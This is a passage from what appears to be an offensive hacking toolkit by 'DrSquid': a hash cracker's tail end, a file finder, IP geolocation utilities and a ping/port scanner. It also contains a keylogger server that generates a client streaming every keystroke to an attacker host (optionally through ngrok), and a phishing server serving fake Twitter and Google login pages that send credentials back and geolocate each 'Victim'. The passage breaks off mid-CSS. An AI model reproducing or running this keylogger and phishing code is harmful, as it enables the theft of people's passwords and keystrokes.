130 |         self.opts.add_option("--hT","--hashtype",dest="hashtype")
131 |         self.opts.add_option("--pL","--passlist",dest="passlist")
132 |         self.opts.add_option("--nF","--nofile",dest="nofile", action="store_true")
133 |         self.opts.add_option("--pD","--passdigits",dest="passdigits")
134 |         self.opts.add_option("--oL","--onlyletters",dest="onlyletters", action="store_true")
135 |         self.opts.add_option("--oN","--onlynumbers",dest="onlynumbers", action="store_true")
136 |         self.opts.add_option("--i","--info",dest="info",action="store_true")
137 |         args, opt = self.opts.parse_args()
138 |         nofile = False
139 |         if args.info is not None:
140 |             self.usage()
141 |         else:
142 |             pass
143 |         if args.hash is None:
144 |             self.usage()
145 |         else:
146 |             hash = args.hash
147 |         if args.hashtype is None:
148 |             hashtype = "md5"
149 |         else:
150 |             hashtype = args.hashtype
151 |         if args.nofile is not None:
152 |             nofile = True
153 |         if args.passdigits is not None:
154 |             try:
155 |                 passdigits = int(args.passdigits)
156 |             except:
157 |                 passdigits = 6
158 |         else:
159 |             if nofile:
160 |                 passdigits = 6
161 |         if args.onlyletters is not None:
162 |             combolist = ascii_letters
163 |         elif args.onlynumbers is not None:
164 |             combolist = digits
165 |         else:
166 |             combolist = ascii_letters+digits+punctuation
167 |         if args.passlist is None:
168 |             if not nofile:
169 |                 self.usage()
170 |             else:
171 |                 passlist = None
172 |         else:
173 |             passlist = args.passlist
174 |         HashSquid = Hashcracker(hash, hashtype, passlist, nofile, passdigits, combolist)
175 | optionparser = OptionParse()
176 | 


--------------------------------------------------------------------------------
/Information Gathering/SquidFinder.py:
--------------------------------------------------------------------------------
  1 | import os, sys, time, threading
  2 | from optparse import OptionParser
  3 | class FileFinder:
  4 |     def __init__(self, search, drive):
  5 |         OptionParse.logo(None)
  6 |         self.dirlist = []
  7 |         self.file_list = []
  8 |         self.drive = drive
  9 |         self.keep_search = True
 10 |         self.search = search.lower()
 11 |         self.timeout = 15
 12 |         self.maxtime = 15
 13 |         self.startdir = os.getcwd()
 14 |         self.outputname = "squidfoundfiles.txt"
 15 |         self.founditems = []
 16 |     def timeouttimer(self):
 17 |         while True:
 18 |             time.sleep(1)
 19 |             self.timeout -= 1
 20 |             if self.timeout == 0:
 21 |                 self.keep_search = False
 22 |                 break
 23 |     def get_filelist(self):
 24 |         try:
 25 |             found = False
 26 |             for i in os.listdir():
 27 |                 if "." in i:
 28 |                     if os.path.join(os.getcwd(),i) not in self.file_list:
 29 |                         if self.search in i.lower():
 30 |                             self.file_list.append(os.path.join(os.getcwd(),i))
 31 |                             itemtype = "File"
 32 |                             found = True
 33 |                 else:
 34 |                     if os.path.join(os.getcwd(), i) not in self.dirlist:
 35 |                         self.dirlist.append(os.path.join(os.getcwd(),i))
 36 |                         if self.search in i.lower():
 37 |                             itemtype = "Directory"
 38 |                             found = True
 39 |                 if found:
 40 |                     print(f"[+] {itemtype} Found: {os.path.join(os.getcwd(), i)}")
 41 |                     self.timeout = self.maxtime
 42 |                     found = False
 43 |                     self.founditems.append("[+] "+os.path.join(os.getcwd(),i)+"\n")
 44 |         except:
 45 |             pass
 46 |     def get_files(self):
 47 |         try:
 48 |             os.chdir(self.drive)
 49 |         except:
 50 |             print("[+] The directory specified does not exist! Did you mispell it?")
 51 |             quit()
 52 |         self.timer = threading.Thread(target=self.timeouttimer)
 53 |         self.timer.start()
 54 |         self.get_filelist()
 55 |         for i in self.dirlist:
 56 |             try:
 57 |                 os.chdir(i)
 58 |                 self.get_filelist()
 59 |                 if not self.keep_search:
 60 |                     break
 61 |             except Exception as e:
 62 |                 pass
 63 |         print("\n[+] Scan Completed.")
 64 |         if len(self.file_list) > 0:
 65 |             print(f"[+] Did you find what you were looking for?\n[+] File with all of the found directories/files: {self.startdir}\{self.outputname}")
 66 |             self.timeout = 1
 67 |             os.chdir(self.startdir)
 68 |             file = open(self.outputname,"w")
 69 |             file.writelines(self.founditems)
 70 |             file.close()
 71 |         else:
 72 |             print("[+] I was not able to find anything. Did you spell the name of your file correctly?")
 73 | class OptionParse:
 74 |     def logo(self):
 75 |         print("""
 76 |   _________            .__    .______________.__            .___                   ________     _______   
 77 |  /   _____/ ________ __|__| __| _/\_   _____/|__| ____    __| _/___________  ___  _\_____  \    \   _  \  
 78 |  \_____  \ / ____/  |  \  |/ __ |  |    __)  |  |/    \  / __ |/ __ \_  __ \ \  \/ //  ____/    /  /_\  \ 
 79 |  /        < <_|  |  |  /  / /_/ |  |     \   |  |   |  \/ /_/ \  ___/|  | \/  \   //       \    \  \_/   \\
 80 | /_______  /\__   |____/|__\____ |  \___  /   |__|___|  /\____ |\___  >__|      \_/ \_______ \ /\ \_____  /
 81 |         \/    |__|             \/      \/            \/      \/    \/                      \/ \/       \/                                                           
 82 | Script By DrSquid
 83 | [+] A File Finder for all of your file-finding needs.""")
 84 |     def usage(self):
 85 |         self.logo()
 86 |         print("""
 87 | [+] -F, --File    - Specify the file to look for.
 88 | [+] -I, --Info    - Shows this message.
 89 | [+] -D, --Dir     - Specify the directory you will start in(optional).
 90 | 
 91 | [+] Examples:
 92 | [+] python3 SquidFinder.py -F file.txt -D C:/
 93 | [+] python3 SquidFinder.py -I""")
 94 |     def __init__(self):
 95 |         parse = OptionParser()
 96 |         parse.add_option("-F", "--File", dest="file")
 97 |         parse.add_option("-I","--Info", dest="info", action="store_true")
 98 |         parse.add_option("-D","--Drive", dest="drive")
 99 |         arg, op = parse.parse_args()
100 |         if arg.info is not None or arg.file is None:
101 |             self.usage()
102 |             sys.exit()
103 |         if arg.drive is None:
104 |             if sys.platform == "win32":
105 |                 arg.drive = "C:/"
106 |             else:
107 |                 arg.drive = "/"
108 |         File = FileFinder(arg.file, arg.drive)
109 |         File.get_files()
110 | parse = OptionParse()


--------------------------------------------------------------------------------
/Information Gathering/SquidIPUtils.py:
--------------------------------------------------------------------------------
 1 | import socket, sys
 2 | from optparse import OptionParser
 3 | class IPTools:
 4 |     def __init__(self):
 5 |         self.parse_args()
 6 |     def usage(self):
 7 |         print("""
 8 | [+] Option-Parsing Help:
 9 | [+] --i, --info         - Shows this message.
10 | [+] --ip, --ipaddr      - Specify an IP Address/Hostname
11 | [+] --ri, --resolveip   - Attempts to resolve the Host into an IP Address.
12 | [+] --ti, --trackip     - Attempts to obtain the geolocation info of the IP Address.
13 | [+] --rd, --reversedns  - Attempts to resolve the IP Address into a hostname.
14 | [+] --la, --latlng      - Attempts to obtain the approximate latlng coordinates of the IP.
15 | 
16 | [+] Usage:
17 | [+] python3 SquidIPUtils.py --ip <ipaddr/host> --ri --ti --rd --la
18 | [+] python3 SquidIPUtils.py --i""")
19 |     def logo(self):
20 |         print("""
21 |   _________            .__    .___._____________           ____ ___   __  .__.__                 ________     _______   
22 |  /   _____/ ________ __|__| __| _/|   \______   \         |    |   \_/  |_|__|  |   ______ ___  _\_____  \    \   _  \  
23 |  \_____  \ / ____/  |  \  |/ __ | |   ||     ___/  ______ |    |   /\   __\  |  |  /  ___/ \  \/ //  ____/    /  /_\  \ 
24 |  /        < <_|  |  |  /  / /_/ | |   ||    |     /_____/ |    |  /  |  | |  |  |__\___ \   \   //       \    \  \_/   \\
25 | /_______  /\__   |____/|__\____ | |___||____|             |______/   |__| |__|____/____  >   \_/ \_______ \ /\ \_____  /
26 |         \/    |__|             \/                                                      \/                \/ \/       \/          
27 | IP Utilities Script By DrSquid""")
28 |     def resolve_ip(self, ip):
29 |         try:
30 |             print(f"[+] {ip} is {socket.gethostbyname(ip)}")
31 |         except:
32 |             print(f"[+] Unable to resolve {ip} into an IP Address")
33 |     def reverse_dns(self, ip):
34 |         try:
35 |             print(f"[+] Reverse DNS Of {ip} is {socket.gethostbyaddr(ip)}")
36 |         except:
37 |             print(f"[+] Unable to Reverse DNS {ip}.")
38 |     def get_lat_lng(self, ip):
39 |         try:
40 |             ip = socket.gethostbyname(ip)
41 |             trackip = geocoder.ip(ip)
42 |             print(f"[+] Approximate Coordinates for {ip}: {trackip.latlng}")
43 |         except:
44 |             print(f"[+] Unable to obtain the Geolocation info of {ip}.")
45 |     def get_geo_info(self, ip):
46 |         try:
47 |             ip = socket.gethostbyname(ip)
48 |             print(f"[+] Fetching Geolocation Info for {ip}....")
49 |             trackip = geocoder.ip(ip)
50 |             geojson = trackip.geojson
51 |             geojson = geojson['features'][0]['properties']
52 |             for i in geojson:
53 |                 print(f"[+] {i.upper()}: {geojson[i]}")
54 |         except:
55 |             print(f"[+] Unable to obtain the Geolocation info of {ip}.")
56 |     def parse_args(self):
57 |         args = OptionParser()
58 |         args.add_option("--ip", "--ipaddr", dest="ip")
59 |         args.add_option("--ri", "--resolveip",dest="ri", action="store_true")
60 |         args.add_option("--ti", "--trackip", dest="ti", action="store_true")
61 |         args.add_option("--rd", "--reversedns", dest="rd", action="store_true")
62 |         args.add_option("--la", "--latlng", dest="la", action="store_true")
63 |         args.add_option("--i", "--info", dest="i", action="store_true")
64 |         arg, opt = args.parse_args()
65 |         if arg.i is not None:
66 |             self.usage()
67 |             sys.exit()
68 |         if arg.ip is not None:
69 |             self.ip = arg.ip
70 |         else:
71 |             self.usage()
72 |             sys.exit()
73 |         print("")
74 |         if arg.ri is not None:
75 |             self.resolve_ip(self.ip)
76 |         if arg.ti is not None:
77 |             self.get_geo_info(self.ip)
78 |         if arg.rd is not None:
79 |             self.reverse_dns(self.ip)
80 |         if arg.la is not None:
81 |             self.get_lat_lng(self.ip)
82 | IPTools.logo(None)
83 | try:
84 |     import geocoder
85 | except:
86 |     print("[+] Unable to Import Module 'geocoder'. You will not be able to use the IP Tracking Functions(Can use 'getinfo' function)!")
87 | iptools = IPTools()
88 | 


--------------------------------------------------------------------------------
/Information Gathering/SquidLogger.py:
--------------------------------------------------------------------------------
  1 | import socket, threading, os, sys
  2 | from optparse import OptionParser
  3 | class KeylogServer:
  4 |     def __init__(self, ip, port, ngrokHost=None, ngrokPort=None):
  5 |         self.ip = ip
  6 |         self.port = port
  7 |         self.logo()
  8 |         self.clientname = "SquidLoggerClient.py"
  9 |         self.file = open(self.clientname,"w")
 10 |         self.file.write(self.clientscript())
 11 |         self.file.close()
 12 |         self.conn_list = []
 13 |         if ngrokHost is not None:
 14 |             self.ngrokhost = ngrokHost
 15 |             self.ngrokport = int(ngrokPort)
 16 |         else:
 17 |             self.ngrokhost = self.ip
 18 |             self.ngrokport = self.port
 19 |         self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 20 |         self.server.bind((self.ip,self.port))
 21 |         print(f"[+] Client-Script has been generated in: {os.getcwd()}/{self.clientname}")
 22 |         print(f"[+] Server binded to: {self.ip}:{self.port}")
 23 |     def clientscript(self):
 24 |         script = """
 25 | from pynput.keyboard import Listener
 26 | import socket, urllib.request, threading
 27 | class Keylogger:
 28 |     def __init__(self, ip, port):
 29 |         self.ip = ip
 30 |         self.port = port
 31 |         self.selfip = self.getip()
 32 |         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 33 |         self.client.connect((self.ip,self.port))
 34 |         self.client.send(self.selfip.encode())
 35 |         self.logger = threading.Thread(target=self.start_logging)
 36 |         self.logger.start()
 37 |     def getip(self):
 38 |         try:
 39 |             url = 'https://httpbin.org/ip'
 40 |             req = urllib.request.Request(url)
 41 |             result = urllib.request.urlopen(req)
 42 |             try:
 43 |                 result = result.read().decode()
 44 |             except:
 45 |                 result = result.read()
 46 |             contents = result.split()
 47 |             ip = contents[2].strip('"')
 48 |             return str(ip)
 49 |         except:
 50 |             pass
 51 |     def on_press(self,key):
 52 |         self.client.send(str(key).encode())
 53 |     def on_release(self,key):
 54 |         pass
 55 |     def start_logging(self):
 56 |         with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
 57 |             listener.join()
 58 | keylog = Keylogger('"""+self.ngrokhost+"""',"""+self.ngrokport+""")
 59 |         """
 60 |         return script
 61 |     def logo(self):
 62 |         print("""
 63 |   _____             _     _ _                                        __   ___  
 64 |  / ____|           (_)   | | |                                      /_ | / _ \ 
 65 | | (___   __ _ _   _ _  __| | |     ___   __ _  __ _  ___ _ __  __   _| || | | |
 66 |  \___ \ / _` | | | | |/ _` | |    / _ \ / _` |/ _` |/ _ \ '__| \ \ / / || | | |
 67 |  ____) | (_| | |_| | | (_| | |___| (_) | (_| | (_| |  __/ |     \ V /| || |_| |
 68 | |_____/ \__, |\__,_|_|\__,_|______\___/ \__, |\__, |\___|_|      \_/ |_(_)___/ 
 69 |            | |                           __/ | __/ |                           
 70 |            |_|                          |___/ |___/          
 71 | Key-Logger-Server by DrSquid                  """)
 72 |     def listen(self):
 73 |         while True:
 74 |             self.server.listen()
 75 |             conn, ip = self.server.accept()
 76 |             handle = threading.Thread(target=self.handler,args=(conn,))
 77 |             handle.start()
 78 |     def handler(self, conn):
 79 |         registered = False
 80 |         ip = None
 81 |         while True:
 82 |             msg = conn.recv(1024).decode()
 83 |             if not registered:
 84 |                 print(f"[+] Connection From: {msg}")
 85 |                 registered = True
 86 |                 ip = msg
 87 |             else:
 88 |                 print(f"[({ip})]: {msg}")
 89 | class OptionParse:
 90 |     def __init__(self):
 91 |         if len(sys.argv) < 2:
 92 |             self.usage()
 93 |         else:
 94 |             self.get_args()
 95 |     def usage(self):
 96 |         KeylogServer.logo(None)
 97 |         print("""
 98 | [+] Option-Parsing Help:
 99 | [+] --ip, --ipaddr    - Specifies an IP Address to bind to.
100 | [+] --p,  --port      - Specifies the port to bind the IP to.
101 | 
102 | [+] Optional Arguements:
103 | [+] --nH, --ngrokhost - Specifies the ngrok host
104 | [+] --nP, --ngrokport - Specifies the ngrok port
105 | [+] --i,  --info   - Shows this message.
106 | 
107 | [+] Usage:""")
108 |         if sys.argv[0].endswith(".py"):
109 |             print("[+] python3 SquidLogger.py --ip <ipaddr> --p <port>")
110 |             print("[+] python3 SquidLogger.py --i")
111 |         else:
112 |             print("[+] SquidLogger --ip <ipaddr> --p <port>")
113 |             print("[+] SquidLogger --i")
114 |     def get_args(self):
115 |         self.opts = OptionParser()
116 |         self.opts.add_option("--ip","--ipaddr",dest="ip")
117 |         self.opts.add_option("--p","--port",dest="port")
118 |         self.opts.add_option("--nH","--ngrokhost",dest="ngrokhost")
119 |         self.opts.add_option("--nP","--ngrokport",dest="ngrokport")
120 |         self.opts.add_option("--i","--info",dest="info",action="store_true")
121 |         args, opt =self.opts.parse_args()
122 |         if args.info is not None:
123 |             self.usage()
124 |         else:
125 |             pass
126 |         if args.ip is None:
127 |             ip = "localhost"
128 |         else:
129 |             ip = args.ip
130 |         if args.port is None:
131 |             port = 80
132 |         else:
133 |             try:
134 |                 port = int(args.port)
135 |             except:
136 |                 print("[+] Invalid Port!")
137 |                 sys.exit()
138 |         if args.ngrokhost is not None:
139 |             ngrokhost = args.ngrokhost
140 |         else:
141 |             ngrokhost = None
142 |         if args.ngrokport is not None:
143 |             try:
144 |                 ngrokport = int(args.ngrokport)
145 |             except:
146 |                 print("[+] Invalid Port!")
147 |                 sys.exit()
148 |         else:
149 |             ngrokport = None
150 |         SquidLogger = KeylogServer(ip, port, ngrokhost, ngrokport)
151 |         SquidLogger.listen()
152 | optionparse = OptionParse()


--------------------------------------------------------------------------------
/Information Gathering/SquidMap.py:
--------------------------------------------------------------------------------
  1 | import socket, threading, sys, ipaddress, time, os
  2 | from optparse import OptionParser
  3 | from scapy.all import *
  4 | class Port_Scanner:
  5 |     def __init__(self, ip, ports):
  6 |         self.ip = str(ip)
  7 |         self.logfile = "squidmap.txt"
  8 |         file = open(self.logfile,"w")
  9 |         file.close()
 10 |         self.isnetwork = False
 11 |         self.isonehost = True
 12 |         if "/24" in self.ip:
 13 |             self.hosts = []
 14 |             self.uphosts = []
 15 |             self.isnetwork = True
 16 |             self.isonehost = False
 17 |         print(self.logo())
 18 |         self.log_output(self.logo())
 19 |         print(f"[+] Output will be saved in file: {os.path.join(os.getcwd(),self.logfile)}")
 20 |         self.max_port = ports
 21 |         self.ports = range(ports)
 22 |         self.ports_scanned = 0
 23 |         self.open_ports = []
 24 |         self.checked_hosts = 0
 25 |         self.banners = []
 26 |         if self.isnetwork:
 27 |             print("[+] Sending ICMP Packets to Network to check for online IP's.\n[+] Please wait.....\n")
 28 |             self.networkscan()
 29 |         if self.isonehost:
 30 |             self.port_scan(self.ip)
 31 |     def ping_host(self, host):
 32 |         if sys.platform == "win32":
 33 |             result = os.popen(f"ping {host} -n 1")
 34 |             result2 = result.read()
 35 |         else:
 36 |             try:
 37 |                 result = os.popen(f"ping {host} -c 1")
 38 |                 result2 = result.read()
 39 |             except:
 40 |                 result2 = ""
 41 |         if "unreachable" in result2 or "100% loss" in result2 or "100.0% packet loss" in result2:
 42 |             pass
 43 |         else:
 44 |             print(f"[+] {host} is up!")
 45 |             self.uphosts.append(str(host))
 46 |         self.checked_hosts += 1
 47 |     def networkscan(self):
 48 |         self.ip = str(self.ip)
 49 |         self.split_ip = self.ip.split(".")
 50 |         if not self.split_ip[len(self.split_ip)-1].startswith("0"):
 51 |             self.split_ip.remove(self.split_ip[len(self.split_ip)-1])
 52 |             self.split_ip.append("0/24")
 53 |             self.result = ""
 54 |             item = 0
 55 |             for i in self.split_ip:
 56 |                 if item != len(self.split_ip)-1:
 57 |                     self.result = self.result + i + "."
 58 |                 else:
 59 |                     self.result = self.result + i
 60 |                 item += 1
 61 |             self.ip = self.result
 62 |         self.network = ipaddress.IPv4Network(self.ip)
 63 |         for host in self.network.hosts():
 64 |             self.hosts.append(str(host))
 65 |         for host in self.hosts:
 66 |             check_host = threading.Thread(target=self.ping_host, args=(host,))
 67 |             check_host.start()
 68 |         while True:
 69 |             if self.checked_hosts >= len(self.hosts):
 70 |                 print(f"[+] Hosts Scan done.\n[+] Online Hosts: {self.uphosts}")
 71 |                 break
 72 |         for host in self.uphosts:
 73 |             portscan = threading.Thread(target=self.port_scan, args=(host,))
 74 |             portscan.start()
 75 |     def get_mac(self, ip):
 76 |         arp = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip)
 77 |         recv = srp(arp, timeout=2, verbose=False)
 78 |         return recv[0][0][1].hwsrc
 79 |     def log_output(self,msg):
 80 |         time.sleep(1)
 81 |         file = open(self.logfile,"r")
 82 |         content = file.read()
 83 |         file.close()
 84 |         file = open(self.logfile,"w")
 85 |         file.write(content+"\n")
 86 |         file.write(msg)
 87 |         file.close()
 88 |     def logo(self):
 89 |         return """
 90 |   _________            .__    .___ _____                          _____    _______   
 91 |  /   _____/ ________ __|__| __| _//     \ _____  ______   ___  __/  |  |   \   _  \  
 92 |  \_____  \ / ____/  |  \  |/ __ |/  \ /  \\\__  \ \____ \  \  \/ /   |  |_  /  /_\  \ 
 93 |  /        < <_|  |  |  /  / /_/ /    Y    \/ __ \|  |_> >  \   /    ^   /  \  \_/   \\
 94 | /_______  /\__   |____/|__\____ \____|__  (____  /   __/    \_/\____   | /\ \_____  /
 95 |         \/    |__|             \/       \/     \/|__|               |__| \/       \/                              
 96 | Vulnerability-Scanner By DrSquid"""
 97 |     def port_scan(self, ip):
 98 |         print(f"[+] Beginning Port Scan On {ip}.")
 99 |         mac = "Unknown"
100 |         reversedns = "Unknown"
101 |         try:
102 |             mac = self.get_mac(ip)
103 |             print(f"[+] {ip}'s MAC Address: {mac}")
104 |         except:
105 |             print(f"[+] Unable to obtain MAC Address from: {ip}")
106 |         try:
107 |             reversedns = socket.gethostbyaddr(ip)
108 |             print(f"[+] Reverse DNS of {ip}: {reversedns[0]}")
109 |         except:
110 |             print(f"[+] Unable to get Reverse DNS of {ip}.")
111 |         for port in self.ports:
112 |             scanning = threading.Thread(target=self.scan,args=(ip, port))
113 |             scanning.start()
114 |         while True:
115 |             if self.ports_scanned >= self.max_port:
116 |                 open_ports = []
117 |                 appendmsg = ""
118 |                 msg=f"[+] Port Scan on {ip} Completed.\n[+] Obtained Banners For {ip}."
119 |                 for port in self.open_ports:
120 |                     if ip+" " in port:
121 |                         port_split = port.split()
122 |                         open_ports.append(port_split[1])
123 |                 if len(open_ports) == 0:
124 |                     appendmsg=f"\n[+] There are no Ports Open on {ip}."
125 |                 else:
126 |                     appendmsg=f"\n[+] Open Ports on {ip}: {open_ports}"
127 |                     for port in open_ports:
128 |                         for banner in self.banners:
129 |                             split_banner = banner.split()
130 |                             if ip in split_banner[0] and port in split_banner[1]:
131 |                                 result = ""
132 |                                 del split_banner[0]
133 |                                 del split_banner[0]
134 |                                 for item in split_banner:
135 |                                     result = result + " " + item
136 |                                 result = result.strip()
137 |                                 appendmsg += f"\n[+] {ip} Port {port} Banner: {result}"
138 |                 msg += appendmsg
139 |                 print(msg)
140 |                 logmsg = "\n"+msg+f"\n[+] {ip}'s MAC Address: {mac}\n[+] Reverse DNS of {ip}: {reversedns[0]}"
141 |                 self.log_output(logmsg)
142 |                 break
143 |     def scan(self, ip, port):
144 |         try:
145 |             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
146 |             s.settimeout(5)
147 |             s.connect((ip, port))
148 |             self.open_ports.append(f"{ip} {port}")
149 |             s.settimeout(10)
150 |             print(f"[!] Discovered Open Port on {ip}: {port}")
151 |             try:
152 |                 banner = s.recv(65500).decode().strip("\n").strip("\r")
153 |                 self.banners.append(f"{ip} {port} {banner}")
154 |             except Exception as e:
155 |                 self.banners.append(f"{ip} {port} None")
156 |             s.close()
157 |         except Exception as e:
158 |             pass
159 |         self.ports_scanned += 1
160 | class OptionParse:
161 |     def __init__(self):
162 |         if len(sys.argv) < 2:
163 |             self.usage()
164 |         else:
165 |             self.get_args()
166 |     def usage(self):
167 |         print(Port_Scanner.logo(None))
168 |         print("""
169 | [+] Option-Parsing Help:
170 | [+] --ip, --ipaddr - Specifies an IP Address to Scan(can be a network).
171 | [+] --p,  --ports  - Specifies the amount of ports to Scan.
172 | [+] Optional Arguements:
173 | [+] --i,  --info   - Shows this message.
174 | [+] Usage:""")
175 |         if sys.argv[0].endswith(".py"):
176 |             print("[+] python3 Squidmap.py --ip <ipaddr> --p <ports>")
177 |             print("[+] python3 Squidmap.py --i")
178 |         else:
179 |             print("[+] Squidmap --ip <ipaddr> --p <ports>")
180 |             print("[+] Squidmap --i")
181 |     def get_args(self):
182 |         self.opts = OptionParser()
183 |         self.opts.add_option("--ip","--ipaddr",dest="ip")
184 |         self.opts.add_option("--p","--port",dest="port")
185 |         self.opts.add_option("--i","--info",dest="info",action="store_true")
186 |         args, opt =self.opts.parse_args()
187 |         if args.info is not None:
188 |             self.usage()
189 |             sys.exit()
190 |         else:
191 |             pass
192 |         if args.ip is None:
193 |             self.usage()
194 |         else:
195 |             ip = args.ip
196 |         if args.port is None:
197 |             ports = 1024
198 |         else:
199 |             try:
200 |                 ports = int(args.port)
201 |             except:
202 |                 print("[+] Invalid Port!")
203 |                 sys.exit()
204 |         SquidMap = Port_Scanner(ip, ports)
205 | try:
206 |     from scapy.all import *
207 | except:
208 |     Port_Scanner.logo(None)
209 |     print("[+] Scapy is required to run this script.\n[+] Run this command if you have python: pip install scapy")
210 |     sys.exit()
211 | parser = OptionParse()
212 | 


--------------------------------------------------------------------------------
/Information Gathering/SquidPhisher.py:
--------------------------------------------------------------------------------
  1 | import socket, threading, geocoder, time, os, sys
  2 | from optparse import OptionParser
  3 | class Phishing_Server:
  4 |     def __init__(self, ip, port, platform="facebook", externalip=None):
  5 |         self.ip = ip
  6 |         self.port = port
  7 |         self.platforms = ['twitter', 'google', 'instagram', 'facebook']
  8 |         self.platform = platform
  9 |         if self.platform not in self.platforms:
 10 |             print(f"[+] The specified platform is not in the list.\n[+] You Can choose from: {self.platforms}\n[+] Going with Facebook as a default.")
 11 |             self.platform = "facebook"
 12 |         if externalip is None:
 13 |             self.externalip = ip
 14 |         else:
 15 |             self.externalip = externalip
 16 |         self.ip_list = []
 17 |         try:
 18 |             self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 19 |             self.s.bind((self.ip, self.port))
 20 |             print("[+] Successfully Binded Server and Port!")
 21 |             print("[+] Phishing Server is up and running.\n")
 22 |             print(f"[+] Pretending to be {self.platform}.")
 23 |         except:
 24 |             print("[+] Unable to Bind IP and Port.")
 25 |             sys.exit()
 26 |     def listen(self):
 27 |         print(f"[+] Phishing Server is listening on {self.ip}:{self.port}")
 28 |         if self.externalip != self.ip:
 29 |             print(f"[+] Also listening on(for external connections): {self.externalip}:{self.port}")
 30 |         while True:
 31 |             try:
 32 |                 self.s.listen()
 33 |                 c, ip = self.s.accept()
 34 |                 msg = c.recv(1024).decode()
 35 |                 msg_split = msg.split()
 36 |                 u_agent = False
 37 |                 agent = []
 38 |                 for i in msg_split:
 39 |                     if 'user-agent' in i.lower():
 40 |                         u_agent = True
 41 |                     if 'accept:' in i.lower():
 42 |                         u_agent = False
 43 |                     if u_agent:
 44 |                         agent.append(i)
 45 |                     else:
 46 |                         pass
 47 |                 user_agent = ""
 48 |                 for i in agent:
 49 |                     user_agent = user_agent + " " + i
 50 |                 user_agent = user_agent.strip()
 51 |                 item = 0
 52 |                 for i in msg_split:
 53 |                     if 'x-forwarded-for' in i.lower():
 54 |                         ipaddr = msg_split[item + 1]
 55 |                         break
 56 |                     else:
 57 |                         ipaddr = ip[0]
 58 |                     item += 1
 59 |                 if ipaddr in self.ip_list:
 60 |                     pass
 61 |                 else:
 62 |                     print(f"\n[+] Connection From IP: {ipaddr}")
 63 |                     try:
 64 |                         info = geocoder.ip(ipaddr)
 65 |                         print(f"[+] Geolocation Info: {info.latlng}")
 66 |                     except:
 67 |                         pass
 68 |                     print(f"[+] Victim {user_agent}")
 69 |                     self.ip_list.append(ipaddr)
 70 |                 client = threading.Thread(target=self.handler, args=(c, msg, ip[0]))
 71 |                 client.start()
 72 |             except Exception as e:
 73 |                 pass
 74 | 
 75 |     def twitter_packet(self):
 76 |         msg = """
 77 |         <html><head>
 78 |     <link href="https://logodownload.org/wp-content/uploads/2014/09/twitter-logo-4.png" rel="icon">
 79 |     <meta charset="utf-8">
 80 |     <meta name="viewport" content="width=device-width, initial-scale=1">
 81 |     <meta name="description" content="">
 82 |     <meta name="author" content="w3hubs.com">
 83 |     <link href="https://fonts.googleapis.com/css?family=Nunito+Sans:300i,400,700&amp;display=swap" rel="stylesheet">
 84 |     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
 85 |     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/5.0.0-alpha1/css/bootstrap.min.css">
 86 |     <style type="text/css">
 87 |           body{
 88 |           font-family: "Nunito Sans";
 89 |           }
 90 |           .login-form{
 91 |           padding: 25px;
 92 |           }
 93 |           h3{
 94 |           padding-left:30px;
 95 |           padding-right: 20px;
 96 |           font-weight: 700;
 97 |           }
 98 |           label{
 99 |           padding-top: 4px;
100 |           padding-left: 4px;
101 |           }
102 |           .bg-color{
103 |           background-color:rgb(245, 248, 250);
104 |           }
105 |           .bg-color:hover label{
106 |           color:#31a1f2;
107 |           }
108 |           .btn-custom{
109 |           background-color: #1877f2;
110 |           border: none;
111 |           border-radius: 6px;
112 |           font-size: 20px;
113 |           line-height: 28px;
114 |           color: #fff;
115 |           font-weight:700;
116 |           height: 48px;
117 |           }
118 |           .btn-custom{
119 |           color: #fff !important;
120 |           background-color: rgb(29, 161, 242);
121 |           }
122 |           .form-control{
123 |           border:0px;
124 |           background-color: rgb(245, 248, 250);
125 |           border-bottom: 2px solid #657786;
126 |           padding: 0px 4px 0px 4px;
127 |           min-height: 20px;
128 |           }
129 |           .form-control:focus{
130 |           box-shadow: none;
131 |           background-color: rgb(245, 248, 250);
132 |           border-color: #31a1f2;
133 |           }
134 |           .fa{
135 |           color: rgb(29, 161, 242);
136 |           margin: 0 auto;
137 |           display: block;
138 |           text-align: center;
139 |           font-size: 50px;
140 |           }
141 |           a{
142 |           text-decoration: none;
143 |           color: rgb(27, 149, 224);
144 |           }
145 |           a:hover{
146 |           text-decoration: underline;
147 |           color: rgb(27, 149, 224);
148 |           }
149 |         </style>
150 |     </head>
151 |     <title>
152 |     Twitter Login
153 |     </title>
154 |     <body>
155 |     <div class="container">
156 |     <div class="row">
157 |     <div class="col-md-3"></div>
158 |     <div class="col-md-6 p-0 pt-3">
159 |     <i class="fa fa-twitter"></i>
160 |     <h3 class="text-center pt-3">Log in to Twitter</h3>
161 |     <form class="login-form" action="http://""" + self.externalip + """:"""+str(self.port)+"""">
162 |     <div class="mb-3 bg-color">
163 |     <label>Phone, email, or username</label>
164 |     <input type="text" class="form-control" name="username">
165 |     </div>
166 |     <div class="mb-3 bg-color">
167 |     <label>Password</label>
168 |     <input type="password" class="form-control" name="password">
169 |     </div>
170 |     <input type="submit" placeholder="Log In" class="btn btn-custom btn-lg btn-block mt-3">
171 |     <div class="text-center pt-3 pb-3">
172 |     <a href="https://twitter.com/account/begin_password_reset" class="">Forgotten password?</a> .
173 |     <a href="https://twitter.com/i/flow/signup" class="">Sign up for Twitter</a>
174 |     </div>
175 |     </form>
176 |     </div>
177 |     <div class="col-md-3"></div>
178 |     </div>
179 |     </div>
180 | 
181 |     </body></html>
182 |         """
183 |         return msg
184 | 
185 |     def google_packet(self):
186 |         msg = """
187 |     <style>
188 |     	.form-signin
189 |     {
190 |         max-width: 330px;
191 |         padding: 15px;
192 |         margin: 0 auto;
193 |     }
194 |     .form-signin .form-signin-heading, .form-signin .checkbox
195 |     {
196 |         margin-bottom: 10px;
197 |     }
198 |     .form-signin .checkbox
199 |     {
200 |         font-weight: normal;
201 |     }
202 |     .form-signin .form-control
203 |     {
204 |         position: relative;
205 |         font-size: 16px;
206 |         height: auto;
207 |         padding: 10px;
208 |         -webkit-box-sizing: border-box;
209 |         -moz-box-sizing: border-box;
210 |         box-sizing: border-box;
211 |     }
212 |     .form-signin .form-control:focus
213 |     {
